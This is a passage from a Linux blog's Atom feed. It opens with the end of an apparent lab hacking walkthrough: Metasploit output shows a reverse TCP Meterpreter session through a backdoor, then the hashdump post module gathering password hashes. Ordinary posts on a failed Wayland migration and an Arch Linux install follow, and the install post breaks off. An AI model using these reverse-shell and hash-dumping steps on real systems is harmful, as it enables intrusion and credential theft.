&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And with that, you should have a shell on the other machine via the backdoor:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;msf6 exploit(multi/handler) &amp;gt; run

[*] Started reverse TCP handler on 10.10.130.198:5555 
[*] Sending stage (1017704 bytes) to 10.10.125.85
[*] Meterpreter session 1 opened (10.10.130.198:5555 -&amp;gt; 10.10.125.85:42224) at 2024-07-15 04:55:49 +0100

meterpreter &amp;gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, you can run whatever post modules you want, like dumping the password hashes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;meterpreter &amp;gt; bacground
msf6 exploit(multi/handler) &amp;gt; use post/linux/gather/hashdump
msf6 post(linux/gather/hashdump) &amp;gt; set session 1
session =&amp;gt; 1
msf6 post(linux/gather/hashdump) &amp;gt; run
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You should now have a listing of all the password hashes on the
machine.&lt;/p&gt;</content><category term="security"/><category term="security"/><category term="hacking"/></entry><entry><title>How I failed migrating from X11 to Wayland</title><link href="https://skybert.net/linux/how-i-failed-migrating-from-x11-to-wayland" rel="alternate"/><published>2024-06-07T00:00:00+02:00</published><updated>2024-06-07T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2024-06-07:/linux/how-i-failed-migrating-from-x11-to-wayland</id><summary type="html">&lt;p&gt;For several years now, people have been saying I should move from
X.org to Wayland. Every time I've tried just a wee bit, I've run into
a problem and switched back. I've also failed to be convinced from the
countless articles and blog posts I've read. X.org works …&lt;/p&gt;</summary><content type="html">&lt;p&gt;For several years now, people have been saying I should move from
X.org to Wayland. Every time I've tried just a wee bit, I've run into
a problem and switched back. I've also failed to be convinced from the
countless articles and blog posts I've read. X.org works fine for me
and I've stuck with it and XFree86 before that, for more than 20
years.&lt;/p&gt;
&lt;p&gt;Until now. Getting a new computer was an opportunity to do something
radically different. Since Wayland has been default on Fedora and
Ubuntu for many years now, I figured it had to be ready for prime
time. Here are my notes as I try to get a working developer
workstation set up.&lt;/p&gt;
&lt;h2&gt;Greenclip doesn't work under Wayland&lt;/h2&gt;
&lt;p&gt;Start Clipman:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;exec wl-paste -w wl-paste -p &amp;gt;&amp;gt; ~/.clipboard-history
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then change &lt;code&gt;~/.config/i3/config&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bindsym $mod+Control+i exec tac ~/.clipboard-history | rofi -dmenu | wl-copy
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;clipman doesn't support images, though, might want to check out
&lt;a href="https://git.sr.ht/~whynothugo/clipmon"&gt;clipmon&lt;/a&gt; later.&lt;/p&gt;
&lt;h2&gt;rofi doesn't show all windows under Wayland&lt;/h2&gt;
&lt;p&gt;Sadly, &lt;code&gt;rofi -show window&lt;/code&gt; that I've been using before, doesn't show
all windows under Wayland. On my system, it only shows some windows,
like Chrome. It doesn't show apps like Firefox, Emacs, Kitty.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sway&lt;span class="w"&gt; &lt;/span&gt;--version
sway&lt;span class="w"&gt; &lt;/span&gt;version&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.9
$&lt;span class="w"&gt; &lt;/span&gt;rofi&lt;span class="w"&gt; &lt;/span&gt;-v
Version:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.7.5
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In &lt;code&gt;~/.config/i3/config&lt;/code&gt;, I set:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bindsym&lt;span class="w"&gt; &lt;/span&gt;Control+Shift+o&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;swayr&lt;span class="w"&gt; &lt;/span&gt;switch-window
&lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;env&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;RUST_BACKTRACE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;RUST_LOG&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;swayr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;debug&lt;span class="w"&gt; &lt;/span&gt;swayrd&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;/tmp/swayrd.log&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;IntelliJ IDEA doesn't work under Wayland&lt;/h2&gt;
&lt;p&gt;Starting it just shows a blank screen. It &lt;a href="https://youtrack.jetbrains.com/issue/JBR-3206/Native-Wayland-support"&gt;it was reported
2023-08-16&lt;/a&gt;
and they are working on a fix.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ sway --version
sway version 1.9
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;$ pacman -Qi intellij-idea-community-edition | head -n 4&lt;/span&gt;
&lt;span class="na"&gt;Name&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;intellij-idea-community-edition&lt;/span&gt;
&lt;span class="na"&gt;Version&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;4:2024.1.2-1&lt;/span&gt;
&lt;span class="na"&gt;Description&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;IDE for Java, Groovy and other programming languages with advanced refactoring features&lt;/span&gt;
&lt;span class="na"&gt;Architecture&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;x86_64&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Signal doesn't load&lt;/h2&gt;
&lt;p&gt;I tried several times with GNOME3 on Wayland, but could not get Signal
running. Starting it from the command line produced no errors that I
could see, but the window just didn't show.&lt;/p&gt;
&lt;h2&gt;Steam doesn't load&lt;/h2&gt;
&lt;p&gt;Same deal as with Signal. No window. Running it from the command line
showed activity and no errors. The result, though, was no graphical
window displayed on my desktop.&lt;/p&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;I've had it with Wayland/Sway. After a week of trying, I've ditched it
and gone back to X.org/i3.&lt;/p&gt;
&lt;p&gt;I've had problems with clip board managers (cannot copy pictures++),
Teams in Firefox (cannot share screen, depends on "operating system
settings", which doesn't resolve to anything on my machine).  IntelliJ
IDEA didn't work on Wayland (still open issue on github), and Signal
regularly froze. As did QEMU running a graphical VM, just gave me a
blank screen.&lt;/p&gt;
&lt;p&gt;Good to be back on X.org. Everything works. Command line tools, GUI
tools. Just works.&lt;/p&gt;
&lt;p&gt;I will come back and try Wayland/Sway again in a couple of years time
and see where the experience is at then. As for me, &lt;a href="https://emacs.ch/@skybert/112575599140521219"&gt;Wayland is not
ready yet, 2024-06-07&lt;/a&gt;.&lt;/p&gt;</content><category term="linux"/><category term="linux"/><category term="i3"/><category term="wayland"/></entry><entry><title>Installing Arch Linux on Thinkpad X1 Carbon 12th Gen</title><link href="https://skybert.net/linux/installing-arch-linux-on-thinkpad-x1-carbon-12th-gen" rel="alternate"/><published>2024-05-28T00:00:00+02:00</published><updated>2024-05-28T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2024-05-28:/linux/installing-arch-linux-on-thinkpad-x1-carbon-12th-gen</id><summary type="html">&lt;h2&gt;Create USB disk to boot the installer from&lt;/h2&gt;
&lt;p&gt;First, I downloaded the ISO with a torrent obtained from
https://archlinux.org/download/. I used BitTorrent client
&lt;a href="https://deluge-torrent.org/"&gt;Deluge&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I then used &lt;a href="https://man7.org/linux/man-pages/man1/dd.1.html"&gt;dd&lt;/a&gt; to
write the ISO to the flash drive. I figured out the &lt;code&gt;/dev/&amp;lt;device&amp;gt;&lt;/code&gt; by
running &lt;code&gt;dmesg&lt;/code&gt; as I …&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Create USB disk to boot the installer from&lt;/h2&gt;
&lt;p&gt;First, I downloaded the ISO with a torrent obtained from
https://archlinux.org/download/. I used BitTorrent client
&lt;a href="https://deluge-torrent.org/"&gt;Deluge&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I then used &lt;a href="https://man7.org/linux/man-pages/man1/dd.1.html"&gt;dd&lt;/a&gt; to
write the ISO to the flash drive. I figured out the &lt;code&gt;/dev/&amp;lt;device&amp;gt;&lt;/code&gt; by
running &lt;code&gt;dmesg&lt;/code&gt; as I plugged in the USB disk:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# dmesg
..
[40163.683166] usb 3-7: new high-speed USB device number 18 using xhci_hcd
..
[40166.445458] sd 0:0:0:0: [sda] Attached SCSI removable disk
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;sda&lt;/code&gt; bit was all I needed, I could then run &lt;code&gt;dd&lt;/code&gt; to write the
file to the disk:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# dd bs=4M \
     if=tmp/archlinux-2024.05.01-x86_64.iso \
     of=/dev/sda conv=fsync \
     oflag=direct \
     status=progress
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Getting X1 to boot from the USB&lt;/h2&gt;
&lt;p&gt;Enter the BIOS/UEFI by hitting &lt;kbd&gt;F2&lt;/kbd&gt; (or &lt;kbd&gt;Esc&lt;/kbd&gt;, I
hammered on both of them) to enter the BIOS/UEFI configuration and
disable Secure Boot (which requires the OS to be signed my Microsoft's
key.&lt;/p&gt;
&lt;p&gt;Then reboot again and hit &lt;kbd&gt;F12&lt;/kbd&gt; to get the boot menu. From
there, select the USB disk.&lt;/p&gt;
&lt;h2&gt;Let the fun begin&lt;/h2&gt;
&lt;p&gt;On my old computer next to the new one, I had the &lt;a href="https://wiki.archlinux.org/title/Installation_guide"&gt;Arch Linux
installation
guide&lt;/a&gt; which
steps you through the different commands you must type to get the bare
boned OS installed.&lt;/p&gt;
&lt;h3&gt;Network in the installer&lt;/h3&gt;
&lt;p&gt;I set up the wireless card with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# iwctl
station wlan0 connect my-ssid
&amp;lt;pasword&amp;gt;
exit
# dhclient -v wlan0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Partioning the harddrive&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# cfisk /dev/nme0n1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Full disk encryption&lt;/h3&gt;
&lt;p&gt;https://wiki.archlinux.org/title/Dm-crypt/Encrypting_an_entire_system#LUKS_on_a_partition&lt;/p&gt;
&lt;p&gt;I opted for the bootloader I've used the last 15 years,
&lt;a href="https://wiki.archlinux.org/title/GRUB"&gt;GRUB&lt;/a&gt;. I did forget to
&lt;a href="https://wiki.archlinux.org/title/GRUB#Generate_the_main_configuration_file"&gt;Generatethe main GRUB configuration
file&lt;/a&gt;,
so be sure to do that.&lt;/p&gt;
&lt;h2&gt;Boot loader&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# pacman -S grub efibootmgr
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;First, get the UUIDs of the encrypted partition, &lt;code&gt;/dev/nvme0n1p2&lt;/code&gt;, and
the decrypted, mounted partition, &lt;code&gt;/dev/mapper/root&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gh"&gt;#&lt;/span&gt; blkid
/dev/nvme0n1p1: UUID=&amp;quot;D0BB-3264&amp;quot; BLOCK_SIZE=&amp;quot;512&amp;quot; TYPE=&amp;quot;vfat&amp;quot; PARTUUID=&amp;quot;26cb7637-9a3e-4be1-b477-07af31946dee&amp;quot;
/dev/nvme0n1p2: UUID=&amp;quot;0ac79fb6-12f5-4d7b-9501-f7c185f94c00&amp;quot; TYPE=&amp;quot;crypto_LUKS&amp;quot; PARTUUID=&amp;quot;3300b64d-1e98-443f-a59e-8c9fae104d21&amp;quot;
/dev/mapper/root: UUID=&amp;quot;4941d62c-51af-4dbb-8390-51f83411edec&amp;quot; BLOCK_SIZE=&amp;quot;4096&amp;quot; TYPE=&amp;quot;ext4&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In &lt;code&gt;/etc/default/grub&lt;/code&gt;, edit these two variables:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;loglevel=3
cryptdevice=UUID=0ac79fb6-12f5-4d7b-9501-f7c185f94c00:root
root=/dev/mapper/root&amp;quot;

GRUB_ENABLE_CRYPTODISK=y
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Note, the &lt;code&gt;cryptdevice&lt;/code&gt; is UUID of the encrypted partition itself, whereas what's in &lt;code&gt;/etc/fstab&lt;/code&gt; is the UUID of the decrypted and mounted partition:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;ext4&lt;span class="w"&gt; &lt;/span&gt;/etc/fstab
&lt;span class="nv"&gt;UUID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4941d62c-51af-4dbb-8390-51f83411edec&lt;span class="w"&gt; &lt;/span&gt;/&lt;span class="w"&gt; &lt;/span&gt;ext4&lt;span class="w"&gt; &lt;/span&gt;rw,relatime&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Every time after editing &lt;code&gt;/etc/default/grub&lt;/code&gt;, re-generate the runtime conf:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# grub-mkconfig -o /boot/grub/grub.cfg
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In the generated &lt;code&gt;/boot/grub/grub.cfg&lt;/code&gt;, you can see the two UUIDs of the encrypted disk, &lt;code&gt;0ac79fb6-12f5-4d7b-9501-f7c185f94c00&lt;/code&gt;, and the decrypted block of the root partiation, &lt;code&gt;4941d62c-51af-4dbb-8390-51f83411edec&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;    linux   /vmlinuz-linux root=UUID=4941d62c-51af-4dbb-8390-51f83411edec rw  loglevel=3 cryptdevice=UUID=0ac79fb6-12f5-4d7b-9501-f7c185f94c00:root root=/dev/mapper/root
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The final step, is to install the bootloader binary itself.  Normally,
you only need this comamnd once, this is to install the grub boot
loader binary into the right place on the disk. Whatever you put in
&lt;code&gt;--bootloader-id&lt;/code&gt; will show up in the UEFI/BIOS in the computer as
well as in the machine boot menu that you typically access with
&lt;kbd&gt;F12&lt;/kbd&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# grub-install --target=x86_64-efi --efi-directory=/boot --bootloader-id=Arch
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;No sounds&lt;/h2&gt;
&lt;p&gt;Got a vital clue from:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;journalctl&lt;span class="w"&gt; &lt;/span&gt;-b
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;which said (search for both &lt;code&gt;snd&lt;/code&gt; and &lt;code&gt;sof&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;May&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mithrandir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sof&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;audio&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pci&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;intel&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;mtl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0000&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hda&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;codecs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;found&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;
&lt;span class="n"&gt;May&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mithrandir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sof&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;audio&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pci&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;intel&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;mtl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0000&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HDA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;machine&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;driver&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skl_hda_dsp_generic&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;
&lt;span class="o"&gt;..&lt;/span&gt;
&lt;span class="n"&gt;May&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mithrandir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sof&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;audio&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pci&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;intel&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;mtl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0000&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SOF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;firmware&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;topology&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;found&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;May&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mithrandir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sof&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;audio&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pci&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;intel&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;mtl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0000&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Supported&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;profiles&lt;/span&gt;
&lt;span class="n"&gt;May&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mithrandir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sof&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;audio&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pci&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;intel&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;mtl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0000&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ipc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Requested&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
